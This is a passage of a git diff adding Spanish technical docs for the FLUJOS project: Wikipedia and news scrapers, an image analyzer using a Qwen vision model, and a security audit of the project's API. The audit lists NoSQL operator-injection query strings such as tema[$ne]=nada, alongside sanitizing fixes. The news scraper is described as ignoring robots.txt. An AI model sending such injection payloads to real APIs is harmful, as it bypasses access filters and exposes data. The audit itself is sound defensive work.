"Nuvola", "pictogram", "OOjs", "Ambox", "Portal-", "Disambig",
|
||||
]
|
||||
|
||||
VALID_EXTENSIONS = {".jpg", ".jpeg", ".png", ".webp"}
|
||||
```
|
||||
|
||||
### Flujo interno
|
||||
|
||||
```
|
||||
buscar_articulos(tema, lang='es')
|
||||
└── GET https://es.wikipedia.org/w/api.php?action=query&list=search&srsearch={tema}
|
||||
└── para cada artículo:
|
||||
get_article_images(titulo)
|
||||
└── GET https://es.wikipedia.org/w/api.php?action=query&prop=images
|
||||
└── para cada imagen:
|
||||
get_image_info(filename) → Wikimedia API
|
||||
└── descarga si pasa filtros
|
||||
└── guarda en output/wiki_images/{tema_slug}/
|
||||
└── upsert en MongoDB imagenes_wiki
|
||||
```
|
||||
|
||||
### Deduplicación
|
||||
|
||||
Upsert por `archivo` (nombre del fichero) en MongoDB `imagenes_wiki`. Si el fichero ya existe en disco, se salta la descarga.
|
||||
|
||||
### Uso CLI
|
||||
|
||||
```bash
|
||||
# Scrape de todos los temas FLUJOS, max 20 imgs/tema, con MongoDB
|
||||
python wikipedia_image_scraper.py --flujos --max 20 --mongo
|
||||
|
||||
# Scrape de un tema concreto
|
||||
python wikipedia_image_scraper.py --tema "cambio climático" --max 30 --mongo
|
||||
|
||||
# Con idioma inglés
|
||||
python wikipedia_image_scraper.py --tema "climate change" --lang en --max 40
|
||||
```
|
||||
|
||||
### Documento MongoDB generado (colección `imagenes_wiki`)
|
||||
|
||||
```json
|
||||
{
|
||||
"archivo": "cambio_climático_003.jpg",
|
||||
"image_path": "/var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/cambio_climático/cambio_climático_003.jpg",
|
||||
"image_url": "https://upload.wikimedia.org/wikipedia/commons/...",
|
||||
"tema": "cambio climático",
|
||||
"subtema": "derretimiento glaciar ártico",
|
||||
"descripcion_wiki": "Glaciar en retroceso en el Ártico, 2019",
|
||||
"articulo_titulo": "Cambio climático en el Ártico",
|
||||
"fecha": ISODate("2026-04-21")
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Parte 2: image_analyzer.py (Qwen3-VL-8B)
|
||||
|
||||
### Modelo usado
|
||||
|
||||
**Qwen/Qwen2.5-VL-7B-Instruct** (HuggingFace)
|
||||
- Tamaño: ~16 GB en disco (bfloat16)
|
||||
- Inferencia: CPU (sin GPU disponible actualmente)
|
||||
- RAM necesaria: ~16–18 GB para el modelo + ~2 GB por batch de 4 imágenes
|
||||
- Cache local: `IMAGENES/model_cache/`
|
||||
|
||||
> El servidor tiene 64 GB RAM, por lo que cabe sin problema. En GPU (A100/RTX 3090+) sería 10–50x más rápido.
|
||||
|
||||
### Carga del modelo
|
||||
|
||||
```python
|
||||
from transformers import Qwen2_5_VLForConditionalGeneration, AutoProcessor
|
||||
import torch
|
||||
|
||||
model = Qwen2_5_VLForConditionalGeneration.from_pretrained(
|
||||
"Qwen/Qwen2.5-VL-7B-Instruct",
|
||||
torch_dtype=torch.bfloat16, # mitad de RAM vs float32
|
||||
device_map="cpu",
|
||||
cache_dir=str(IMAGENES_DIR / "model_cache"),
|
||||
)
|
||||
processor = AutoProcessor.from_pretrained(
|
||||
"Qwen/Qwen2.5-VL-7B-Instruct",
|
||||
cache_dir=str(IMAGENES_DIR / "model_cache"),
|
||||
)
|
||||
```
|
||||
|
||||
### Prompt de análisis
|
||||
|
||||
```python
|
||||
PROMPT = """Analiza esta imagen y proporciona:
|
||||
1. Una descripción concisa del contenido principal (máx. 2 frases).
|
||||
2. El tema principal (elige uno): cambio climático, conflicto armado, economía, política, tecnología, sociedad, otro.
|
||||
3. Lista de 3-5 palabras clave relevantes.
|
||||
|
||||
Formato de respuesta:
|
||||
DESCRIPCIÓN: [descripción]
|
||||
TEMA: [tema]
|
||||
PALABRAS CLAVE: [kw1, kw2, kw3]"""
|
||||
```
|
||||
|
||||
### Procesamiento por batch
|
||||
|
||||
```python
|
||||
def analyze_batch(image_paths: list[Path]) -> list[dict]:
|
||||
"""Procesa hasta 4 imágenes por llamada al modelo."""
|
||||
```
|
||||
|
||||
`batch_size=4` por defecto. Cada batch ocupa ~2 GB RAM adicionales.
|
||||
|
||||
### Resume automático
|
||||
|
||||
Antes de analizar, verifica qué imágenes ya están en MongoDB `imagenes`:
|
||||
|
||||
```python
|
||||
def get_already_analyzed() -> set[str]:
|
||||
"""Devuelve set de nombres de archivo ya en la colección imagenes."""
|
||||
return {doc['archivo'] for doc in db['imagenes'].find({}, {'archivo': 1})}
|
||||
```
|
||||
|
||||
Solo procesa imágenes no presentes en la BD.
|
||||
|
||||
### Priorización de imágenes
|
||||
|
||||
```python
|
||||
def get_known_article_titles() -> set[str]:
|
||||
"""Títulos de artículos presentes en wikipedia/noticias."""
|
||||
# Prioriza imágenes cuyo tema coincide con artículos existentes
|
||||
```
|
||||
|
||||
Las imágenes de temas con más documentos de texto en la BD se procesan primero, para maximizar la probabilidad de que los nodos imagen queden conectados por comparaciones.
|
||||
|
||||
### Documento MongoDB generado (colección `imagenes`)
|
||||
|
||||
```json
|
||||
{
|
||||
"archivo": "cambio_climático_003.jpg",
|
||||
"image_path": "/var/www/.../output/wiki_images/cambio_climático/cambio_climático_003.jpg",
|
||||
"tema": "cambio climático",
|
||||
"subtema": "calentamiento global",
|
||||
"texto": "Imagen satelital del retroceso del glaciar ártico entre 1990 y 2023. Se observa una reducción significativa de la capa de hielo.",
|
||||
"keywords": ["glaciar", "ártico", "deshielo", "calentamiento", "satélite"],
|
||||
"fecha": ISODate("2026-04-21")
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Parte 3: pipeline_imagenes.py (orquestador)
|
||||
|
||||
### Flags CLI
|
||||
|
||||
```bash
|
||||
python pipeline_imagenes.py --scrape # solo scraping de imágenes
|
||||
python pipeline_imagenes.py --analizar # solo análisis Qwen
|
||||
python pipeline_imagenes.py --mongo # escribe resultados en MongoDB
|
||||
python pipeline_imagenes.py --solo-json # escribe JSON local en vez de Mongo
|
||||
python pipeline_imagenes.py --analizar --carpeta /ruta/custom --mongo
|
||||
```
|
||||
|
||||
### Integración en el pipeline maestro
|
||||
|
||||
El `pipeline_maestro.py` lo llama así:
|
||||
|
||||
**Fase 1 (scraping):**
|
||||
```bash
|
||||
python wikipedia_image_scraper.py --flujos --max 20 --mongo
|
||||
```
|
||||
|
||||
**Fase 2 (análisis):**
|
||||
```bash
|
||||
python pipeline_imagenes.py --analizar \
|
||||
--carpeta FLUJOS_DATOS/IMAGENES/output/wiki_images \
|
||||
--mongo
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Dependencias Python (requirements_imagenes.txt)
|
||||
|
||||
```
|
||||
transformers>=4.45
|
||||
torch>=2.1
|
||||
qwen-vl-utils
|
||||
Pillow
|
||||
requests
|
||||
pymongo
|
||||
scikit-learn
|
||||
python-dotenv
|
||||
```
|
||||
|
||||
Instalación en el venv:
|
||||
```bash
|
||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 -m pip install -r requirements_imagenes.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Estado actual (2026-04-21)
|
||||
|
||||
- Imágenes en disco: ~155 imágenes en `output/wiki_images/` (10 temas × ~15 imgs)
|
||||
- Imágenes en `imagenes_wiki` (MongoDB): ~150 docs
|
||||
- Imágenes analizadas con Qwen en `imagenes` (MongoDB): proceso en curso / pendiente de primera ejecución completa
|
||||
- El modelo Qwen se descarga automáticamente la primera vez que se llama (~16 GB, puede tardar 30–60 min)
|
||||
|
||||
## Pendiente / mejoras futuras
|
||||
|
||||
- Conectar nodos imagen a la colección `comparaciones` (requiere embeddings de imagen o comparación texto-descripción)
|
||||
- Activar GPU cuando esté disponible (cambiar `device_map="cpu"` → `"cuda"`)
|
||||
- Aumentar `--max` a 50+ imágenes por tema una vez el análisis esté validado
|
||||
- Añadir soporte para imágenes de noticias (no solo Wikipedia)
|
||||
270
INFO/DOCS/CONTEXT/SCRAPER_NOTICIAS.md
Normal file
270
INFO/DOCS/CONTEXT/SCRAPER_NOTICIAS.md
Normal file
|
|
@ -0,0 +1,270 @@
|
|||
# Scraper de Noticias — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Archivo:** `FLUJOS_DATOS/NOTICIAS/main_noticias.py`
|
||||
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
|
||||
|
||||
---
|
||||
|
||||
## Qué hace
|
||||
|
||||
Scraper web recursivo que:
|
||||
1. Visita ~90 URLs de medios de comunicación internacionales
|
||||
2. Explora sus páginas recursivamente hasta profundidad 6
|
||||
3. Descarga artículos (texto) y ficheros adjuntos (PDF, CSV, DOCX, XLSX, ZIP)
|
||||
4. Traduce a español si el contenido está en otro idioma
|
||||
5. Limpia y tokeniza con BERT
|
||||
6. Guarda en disco y MongoDB (`noticias`)
|
||||
|
||||
---
|
||||
|
||||
## Lista de fuentes (90 medios)
|
||||
|
||||
```python
|
||||
urls = [
|
||||
# Bases de datos de investigación
|
||||
'https://reactionary.international/database/',
|
||||
'https://aleph.occrp.org/', # OCCRP — periodismo de investigación
|
||||
'https://offshoreleaks.icij.org/', # ICIJ — paraísos fiscales
|
||||
|
||||
# Prensa española
|
||||
'https://www.publico.es/', 'https://www.elsaltodiario.com/',
|
||||
'https://elpais.com/', 'https://www.elmundo.es/', 'https://www.abc.es/',
|
||||
'https://www.lavanguardia.com/', 'https://www.elconfidencial.com/',
|
||||
'https://www.eldiario.es/', 'https://www.rtve.es/', ...
|
||||
|
||||
# Prensa internacional
|
||||
'https://www.nytimes.com/', 'https://www.theguardian.com/',
|
||||
'https://www.lemonde.fr/', 'https://www.spiegel.de/',
|
||||
'https://www.washingtonpost.com/', 'https://www.aljazeera.com/',
|
||||
'https://www.bbc.com/', 'https://www.reuters.com/',
|
||||
'https://www.ft.com/', 'https://www.economist.com/', ...
|
||||
|
||||
# Prensa tech / seguridad
|
||||
'https://www.wired.com/', 'https://www.theregister.com/',
|
||||
'https://www.arstechnica.com/', 'https://www.zdnet.com/',
|
||||
'https://www.cyberdefensemagazine.com/', 'https://www.darkreading.com/', ...
|
||||
]
|
||||
```
|
||||
|
||||
Total: ~90 URLs seed. Cada una se explora recursivamente hasta 6 niveles de profundidad.
|
||||
|
||||
---
|
||||
|
||||
## Flujo de scraping recursivo
|
||||
|
||||
```python
|
||||
def explore_and_extract_articles(url, articles_folder, files_folder,
|
||||
processed_urls, size_limit, depth=0, max_depth=6):
|
||||
```
|
||||
|
||||
```
|
||||
para cada URL seed:
|
||||
explore_and_extract_articles(url, depth=0, max_depth=6)
|
||||
└── HTMLSession.get(url).html.render() # ejecuta JavaScript con Chromium headless
|
||||
para cada link encontrado:
|
||||
if link ya procesado: skip
|
||||
processed_urls.add(link)
|
||||
|
||||
if extensión es PDF/CSV/DOCX/XLSX/ZIP/HTML/MD:
|
||||
download_and_save_file(link, files_folder)
|
||||
else:
|
||||
extract_and_save_article(link, articles_folder)
|
||||
explore_and_extract_articles(link, depth+1) # recursivo
|
||||
|
||||
if tamaño total > 50 GB: parar
|
||||
|
||||
explore_wayback_machine(url, articles_folder) # fallback Wayback Machine
|
||||
```
|
||||
|
||||
### Renderizado JavaScript
|
||||
|
||||
Usa `requests-html` con Chromium headless (Pyppeteer) para renderizar páginas que cargan contenido con JavaScript. Esto permite scraping de medios que usan SPA/React.
|
||||
|
||||
```python
|
||||
session = HTMLSession()
|
||||
response = session.get(url, timeout=30)
|
||||
response.html.render(timeout=30, sleep=1) # espera 1s a que cargue el JS
|
||||
links = response.html.absolute_links
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Extracción y limpieza de artículos
|
||||
|
||||
```python
|
||||
def extract_and_save_article(url, articles_folder):
|
||||
response = requests.get(url, timeout=30)
|
||||
soup = BeautifulSoup(response.content, 'html.parser')
|
||||
|
||||
title = soup.find('title').get_text().strip()
|
||||
paragraphs = soup.find_all('p')
|
||||
content = ' '.join([p.get_text() for p in paragraphs])
|
||||
|
||||
translated = translate_text(content) # → español
|
||||
cleaned = clean_text(translated) # → limpieza + stopwords
|
||||
|
||||
filename = clean_filename(title) + '.txt'
|
||||
guardar en articles_folder/filename
|
||||
```
|
||||
|
||||
### Traducción automática
|
||||
|
||||
```python
|
||||
from deep_translator import GoogleTranslator
|
||||
|
||||
def translate_text(text):
|
||||
return GoogleTranslator(source='auto', target='es').translate(text)
|
||||
```
|
||||
|
||||
Usa Google Translate vía `deep-translator`. Detecta idioma automáticamente. Fallo → devuelve el texto original sin traducir.
|
||||
|
||||
### Limpieza de texto
|
||||
|
||||
```python
|
||||
def clean_text(text):
|
||||
text = re.sub(r'<!\[\s*CDATA\s*\[.*?\]\]>', '', text, flags=re.S) # CDATA
|
||||
soup = BeautifulSoup(text, 'html.parser')
|
||||
text = soup.get_text(separator=" ") # HTML → texto plano
|
||||
text = text.lower()
|
||||
text = re.sub(r'http\S+', '', text) # elimina URLs
|
||||
text = re.sub(r'[^a-záéíóúñü\s]', '', text) # solo letras + espacios
|
||||
text = re.sub(r'\s+', ' ', text).strip()
|
||||
words = [w for w in text.split() if w not in STOPWORDS]
|
||||
return ' '.join(words)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Procesamiento de ficheros descargados
|
||||
|
||||
```python
|
||||
def process_files(files_folder, destination_folder):
|
||||
for file in os.walk(files_folder):
|
||||
if .pdf: content = read_pdf(file_path) # PyPDF2
|
||||
elif .csv: content = read_csv(file_path) # csv.reader
|
||||
elif .txt: content = open(file_path).read()
|
||||
elif .docx: content = read_docx(file_path) # python-docx
|
||||
elif .xlsx: content = read_xlsx(file_path) # openpyxl
|
||||
elif .zip: content = read_zip(file_path) # zipfile
|
||||
elif .html/.md: content = format_content(html2text)
|
||||
|
||||
translated = translate_text(content)
|
||||
cleaned = clean_text(translated)
|
||||
tokenize_and_save(cleaned, file, destination_folder)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Tokenización BERT
|
||||
|
||||
```python
|
||||
from transformers import BertTokenizer
|
||||
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
|
||||
|
||||
def tokenize_and_save(text, filename, destination_folder):
|
||||
tokens = tokenizer.encode(text, truncation=True, max_length=512, add_special_tokens=True)
|
||||
tokens_str = ' '.join(map(str, tokens))
|
||||
open(f'{destination_folder}/{filename}', 'w').write(tokens_str)
|
||||
```
|
||||
|
||||
Mismo modelo BERT en español que el scraper de Wikipedia. Trunca a 512 tokens.
|
||||
|
||||
---
|
||||
|
||||
## Deduplicación por URL
|
||||
|
||||
```python
|
||||
def register_processed_notifications(base_folder, urls):
|
||||
"""Lee/escribe processed_articles.txt para evitar re-procesar URLs."""
|
||||
txt_path = os.path.join(base_folder, "processed_articles.txt")
|
||||
processed_urls = set(open(txt_path).read().splitlines())
|
||||
urls_to_process = [u for u in urls if u not in processed_urls]
|
||||
# Añade nuevas URLs al fichero
|
||||
return urls_to_process
|
||||
```
|
||||
|
||||
Las URLs ya procesadas se guardan en `NOTICIAS/processed_articles.txt`. Esto es la deduplicación a nivel de seed URL, pero NO previene artículos duplicados desde diferentes URLs.
|
||||
|
||||
---
|
||||
|
||||
## Límites configurados
|
||||
|
||||
```python
|
||||
FOLDER_SIZE_LIMIT = 50 * 1024 * 1024 * 1024 # 50 GB máximo en disco
|
||||
max_depth = 6 # profundidad recursiva máxima
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Estructura de ficheros en disco (ignorada por git)
|
||||
|
||||
```
|
||||
FLUJOS_DATOS/NOTICIAS/
|
||||
├── articulos/ # .gitignore — .txt por artículo scrapeado
|
||||
├── archivos/ # .gitignore — PDF, CSV, DOCX, etc. descargados
|
||||
├── tokenized/ # .gitignore — IDs BERT por documento
|
||||
├── processed_articles.txt # .gitignore — URLs ya procesadas
|
||||
├── noticias_procesadas.txt # .gitignore
|
||||
├── main_noticias.py
|
||||
└── docs.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Documento MongoDB generado (colección `noticias`)
|
||||
|
||||
La inserción a MongoDB la hace `pipeline_mongolo.py` (Fase 2), no el scraper directamente. El scraper solo guarda en disco.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "titulo-de-la-noticia.txt",
|
||||
"tema": "guerra global",
|
||||
"subtema": "conflictos internacionales",
|
||||
"texto": "texto limpio de la noticia...",
|
||||
"fecha": ISODate | null
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Wayback Machine como fallback
|
||||
|
||||
```python
|
||||
def explore_wayback_machine(url, articles_folder):
|
||||
api_url = f"http://archive.org/wayback/available?url={url}"
|
||||
data = requests.get(api_url).json()
|
||||
archive_url = data['archived_snapshots']['closest']['url']
|
||||
extract_and_save_article(archive_url, articles_folder)
|
||||
```
|
||||
|
||||
Si un medio está caído o bloquea el scraper, intenta obtener la versión más reciente desde archive.org.
|
||||
|
||||
---
|
||||
|
||||
## Limitaciones conocidas
|
||||
|
||||
1. **Renderizado headless lento** — `requests-html` usa Pyppeteer/Chromium, ~2–5 seg/página. Escalar a 20.000 artículos cuesta horas.
|
||||
2. **Sin respeto a robots.txt** — El scraper no verifica robots.txt. Algunos medios bloquean scraping.
|
||||
3. **Paywall** — Medios como FT, NYT, WSJ bloquean sin suscripción. El scraper solo obtiene lo que es público.
|
||||
4. **Traducción de textos largos** — `deep-translator` tiene límite de ~5.000 chars por llamada. Textos largos pueden fallar silenciosamente.
|
||||
5. **Sin fecha de publicación** — Se parsea el título HTML, no los metadatos `<meta property="article:published_time">`. El campo `fecha` suele quedar vacío.
|
||||
6. **Recursión sin límite de anchura** — Una página con 1.000 links genera 1.000 llamadas recursivas. Puede tardar mucho en sitios grandes.
|
||||
|
||||
---
|
||||
|
||||
## Dependencias
|
||||
|
||||
```
|
||||
requests
|
||||
requests-html # HTMLSession + Pyppeteer
|
||||
beautifulsoup4
|
||||
html2text
|
||||
deep-translator # Google Translate API no oficial
|
||||
PyPDF2
|
||||
python-docx
|
||||
openpyxl
|
||||
transformers # BertTokenizer
|
||||
tqdm
|
||||
pymongo
|
||||
```
|
||||
205
INFO/DOCS/CONTEXT/SCRAPER_WIKIPEDIA.md
Normal file
205
INFO/DOCS/CONTEXT/SCRAPER_WIKIPEDIA.md
Normal file
|
|
@ -0,0 +1,205 @@
|
|||
# Scraper de Wikipedia — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Archivo:** `FLUJOS_DATOS/WIKIPEDIA/main.py`
|
||||
**Utilidades:** `FLUJOS_DATOS/WIKIPEDIA/wikipedia_utils.py`
|
||||
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
|
||||
|
||||
---
|
||||
|
||||
## Qué hace
|
||||
|
||||
Descarga artículos de Wikipedia en español organizados por temas de FLUJOS, los limpia, tokeniza con BERT y los guarda en disco (`.txt`) y MongoDB (`wikipedia`).
|
||||
|
||||
---
|
||||
|
||||
## Temas y palabras clave
|
||||
|
||||
El scraper itera sobre un diccionario de temas con listas de keywords. Para cada keyword hace una búsqueda en la Wikipedia API y descarga los artículos encontrados.
|
||||
|
||||
```python
|
||||
temas = {
|
||||
"inteligencia y seguridad": [
|
||||
"inteligencia", "seguridad", "espionaje", "ciberseguridad", "NSA", "FBI", "CIA",
|
||||
"contraterrorismo", "criptografía", "vigilancia", "hackeo", "ransomware", ...
|
||||
],
|
||||
"guerras": [
|
||||
"guerra", "conflicto", "batalla", "militar", "guerra civil", "intervención militar",
|
||||
"fuerzas armadas", "ejército", "terrorismo", "crímenes de guerra", ...
|
||||
],
|
||||
"corporaciones": [
|
||||
"empresa", "multinacionales", "mercado bursátil", "BlackRock", "Vanguard",
|
||||
"fusiones", "adquisiciones", "venture capital", "evasión fiscal", ...
|
||||
],
|
||||
"demografía": [
|
||||
"población", "migración", "natalidad", "urbanización", "refugiados",
|
||||
"desigualdad", "pobreza", "pandemia", ...
|
||||
],
|
||||
"cambio climático": [
|
||||
"cambio climático", "calentamiento global", "energías renovables",
|
||||
"deforestación", "emisiones de carbono", "acuerdo de París", ...
|
||||
],
|
||||
"organizaciones internacionales": [
|
||||
"OTAN", "BRICS", "ONU", "Unión Europea", "FMI", "Banco Mundial", ...
|
||||
],
|
||||
"gobiernos autoritarios": [
|
||||
"dictadura", "autoritario", "represión política", "censura", "prisioneros políticos", ...
|
||||
],
|
||||
}
|
||||
```
|
||||
|
||||
Cada tema tiene entre 50 y 100 palabras clave. En total son ~500 keywords → cada una genera hasta 50 artículos = **potencial de ~25.000 artículos**.
|
||||
|
||||
---
|
||||
|
||||
## Flujo de scraping
|
||||
|
||||
```
|
||||
para cada (tema, palabras_clave):
|
||||
para cada palabra_clave:
|
||||
buscar_articulos(palabra_clave, max_articulos=50, offset=0)
|
||||
└── GET https://es.wikipedia.org/w/api.php
|
||||
action=query, list=search, srsearch={keyword}
|
||||
para cada titulo encontrado:
|
||||
if titulo not in titulos_descargados:
|
||||
contenido = obtener_contenido_wikipedia(titulo)
|
||||
└── GET https://es.wikipedia.org/w/api.php
|
||||
action=query, prop=revisions, rvprop=content
|
||||
guardar en articulos_wikipedia/{titulo_limpio}.txt
|
||||
titulos_descargados.add(titulo)
|
||||
offset += 50 # paginación
|
||||
time.sleep(1) # cortesía hacia la API
|
||||
```
|
||||
|
||||
**Límite de tamaño:** Para cuando `articulos_wikipedia/` supera 100 GB (en la práctica nunca se ha alcanzado).
|
||||
|
||||
---
|
||||
|
||||
## Limpieza de texto
|
||||
|
||||
```python
|
||||
def limpiar_texto(texto):
|
||||
texto = texto.lower()
|
||||
texto = re.sub(r'[^\w\s]', '', texto) # elimina puntuación
|
||||
palabras = texto.split()
|
||||
palabras_limpias = [p for p in palabras if p not in stopwords]
|
||||
return ' '.join(palabras_limpias)
|
||||
```
|
||||
|
||||
Stopwords: lista manual en español (~200 palabras). No usa NLTK en este módulo (sí en pipeline_completo.py).
|
||||
|
||||
---
|
||||
|
||||
## Tokenización BERT
|
||||
|
||||
```python
|
||||
from transformers import BertTokenizer
|
||||
|
||||
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
|
||||
|
||||
def TOKENIZER():
|
||||
archivos = os.listdir('articulos_wikipedia')
|
||||
for archivo in archivos:
|
||||
contenido = open(f'articulos_wikipedia/{archivo}').read()
|
||||
tokens_ids = tokenizer.encode(contenido, add_special_tokens=False)
|
||||
with open(f'articulos_tokenizados/{archivo}', 'w') as f:
|
||||
f.write(' '.join(map(str, tokens_ids)))
|
||||
```
|
||||
|
||||
- Modelo BERT: `dccuchile/bert-base-spanish-wwm-cased` (BERT en español de la U. de Chile)
|
||||
- Truncación: 512 tokens máximo por documento
|
||||
- Output: archivo `.txt` con IDs numéricos separados por espacios
|
||||
|
||||
---
|
||||
|
||||
## Limpiar nombre de fichero
|
||||
|
||||
```python
|
||||
def limpiar_nombre_archivo(nombre):
|
||||
nombre = re.sub(r'[\\/*?:"<>|]', "_", nombre)
|
||||
return nombre
|
||||
# Ejemplo: "Guerra_del_Golfo_(1990)" → "Guerra_del_Golfo__1990_"
|
||||
```
|
||||
|
||||
El nombre del fichero es el título del artículo de Wikipedia limpiado. Es también el `archivo` en MongoDB (clave de dedup).
|
||||
|
||||
---
|
||||
|
||||
## Asignación de tema y subtema
|
||||
|
||||
Esta lógica vive en `pipeline_completo.py::asignar_tema_y_subtema()`, no en el scraper. El scraper solo guarda texto; el tokenizador/comparador asigna el tema.
|
||||
|
||||
```python
|
||||
tematicas = {
|
||||
'inteligencia y seguridad': ['inteligencia', 'ciberseguridad', 'espionaje', ...],
|
||||
'cambio climático': ['cambio climático', 'desastres naturales', ...],
|
||||
'guerra global': ['conflictos internacionales', 'guerras civiles', ...],
|
||||
'demografía y sociedad': ['sobrepoblación', 'migraciones', ...],
|
||||
'economía y corporaciones': ['economía global', 'corporaciones multinacionales', ...],
|
||||
}
|
||||
# Si ningún keyword coincide: tema='otros', subtema='general'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Documento MongoDB generado (colección `wikipedia`)
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "Guerra_del_Golfo.txt",
|
||||
"tema": "guerra global",
|
||||
"subtema": "conflictos internacionales",
|
||||
"texto": "La Guerra del Golfo fue un conflicto armado...",
|
||||
"fecha": null // Wikipedia no suele tener fecha de publicación clara
|
||||
}
|
||||
```
|
||||
|
||||
La inserción usa upsert por `archivo` para deduplicar.
|
||||
|
||||
---
|
||||
|
||||
## Almacenamiento en disco (ignorado por git)
|
||||
|
||||
```
|
||||
FLUJOS_DATOS/WIKIPEDIA/
|
||||
├── articulos_wikipedia/ # .gitignore — txt en español por artículo
|
||||
├── articulos_tokenizados/ # .gitignore — IDs BERT por artículo
|
||||
├── main.py
|
||||
├── wikipedia_utils.py
|
||||
└── docs.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Ejecución dentro del pipeline maestro
|
||||
|
||||
`pipeline_maestro.py` Fase 1 llama:
|
||||
```bash
|
||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 \
|
||||
FLUJOS_DATOS/WIKIPEDIA/main.py
|
||||
```
|
||||
|
||||
Desde el directorio `FLUJOS_DATOS/WIKIPEDIA/` para que las rutas relativas (`articulos_wikipedia/`) funcionen.
|
||||
|
||||
---
|
||||
|
||||
## Limitaciones conocidas
|
||||
|
||||
1. **Sin fecha en artículos Wikipedia** — El scraper no extrae la fecha de revisión. El campo `fecha` queda en `null` o vacío en Mongo, lo que rompe los filtros de fecha en la API.
|
||||
2. **Nombres duplicados potenciales** — Artículos con títulos similares generan el mismo nombre de fichero después de la limpieza.
|
||||
3. **No hay control de idioma** — Si un keyword es un acrónimo (NSA, CIA), puede devolver artículos en inglés mezclados con los españoles.
|
||||
4. **Tokenización trunca a 512 tokens** — Artículos largos pierden la segunda mitad para el cálculo de similitud.
|
||||
5. **Sin rate limiting robusta** — Solo `time.sleep(1)` entre keywords, pero la Wikipedia API tiene un límite de 200 req/s por IP (raramente alcanzado).
|
||||
|
||||
---
|
||||
|
||||
## Dependencias
|
||||
|
||||
```
|
||||
transformers>=4.45 (BertTokenizer)
|
||||
tqdm
|
||||
requests
|
||||
pymongo
|
||||
```
|
||||
|
||||
BERT (`dccuchile/bert-base-spanish-wwm-cased`) se descarga automáticamente en el primer uso (~500 MB, se cachea en `~/.cache/huggingface/`).
|
||||
205
INFO/DOCS/CONTEXT/SEGURIDAD.md
Normal file
205
INFO/DOCS/CONTEXT/SEGURIDAD.md
Normal file
|
|
@ -0,0 +1,205 @@
|
|||
# Informe de Seguridad — FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Auditor:** Análisis de código estático + pruebas manuales en local
|
||||
**Scope:** API REST (`FLUJOS_APP.js`), frontend JS, configuración nginx/systemd
|
||||
|
||||
---
|
||||
|
||||
## Resumen ejecutivo
|
||||
|
||||
La aplicación despliega una API Express + MongoDB sin autenticación ni rate limiting. Se han identificado **2 vulnerabilidades críticas** explotables ahora mismo, 3 altas y 2 medias.
|
||||
|
||||
---
|
||||
|
||||
## Vulnerabilidades encontradas
|
||||
|
||||
### 🔴 CRÍTICA 1 — NoSQL Injection (MongoDB Operator Injection)
|
||||
|
||||
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js` líneas 57–72
|
||||
**Estado:** CONFIRMADA. Probada manualmente, devuelve datos reales.
|
||||
|
||||
Express parsea `?tema[$ne]=nada` como el objeto JavaScript `{ $ne: "nada" }`, que MongoDB acepta como operador. Todos los parámetros de query van directamente al filtro sin validación de tipo.
|
||||
|
||||
**Vectores explotables:**
|
||||
```
|
||||
GET /api/data?tema[$ne]=nada&nodos=500
|
||||
→ Devuelve 500 nodos de CUALQUIER tema (bypasa el filtro)
|
||||
|
||||
GET /api/data?tema[$gt]=&nodos=500
|
||||
→ Equivalente a "todos los documentos donde tema > ''"
|
||||
|
||||
GET /api/data?subtematica[$regex]=.*&tema=guerra+global
|
||||
→ Itera toda la subcolección
|
||||
|
||||
GET /api/data?fechaInicio[$type]=9&fechaFin[$type]=9&tema=guerra+global
|
||||
→ Fuerza error de tipo, puede revelar stack traces en logs
|
||||
```
|
||||
|
||||
**Fix (10 min):**
|
||||
```javascript
|
||||
// En FLUJOS_APP.js, justo después de desestructurar req.query:
|
||||
function sanitizeParam(val) {
|
||||
if (typeof val !== 'string') return undefined;
|
||||
return val.trim();
|
||||
}
|
||||
const tema = sanitizeParam(req.query.tema);
|
||||
const subtematica = sanitizeParam(req.query.subtematica);
|
||||
const palabraClave = sanitizeParam(req.query.palabraClave);
|
||||
const fechaInicio = sanitizeParam(req.query.fechaInicio);
|
||||
const fechaFin = sanitizeParam(req.query.fechaFin);
|
||||
const nodos = sanitizeParam(req.query.nodos);
|
||||
const complejidad = sanitizeParam(req.query.complejidad);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🔴 CRÍTICA 2 — Puerto 3000 expuesto públicamente
|
||||
|
||||
**Estado:** CONFIRMADA. `ss -tlnp` muestra `0.0.0.0:3000`.
|
||||
|
||||
Node.js escucha en todas las interfaces. Cualquiera puede conectar directamente al backend Node sin pasar por nginx, evitando HTTPS y cualquier posible middleware de nginx.
|
||||
|
||||
```
|
||||
LISTEN 0.0.0.0:3000 → accesible desde internet sin TLS
|
||||
```
|
||||
|
||||
**Fix (1 línea):**
|
||||
```javascript
|
||||
// FLUJOS_APP.js línea 235:
|
||||
app.listen(port, '127.0.0.1', () => { ... }); // era '0.0.0.0'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
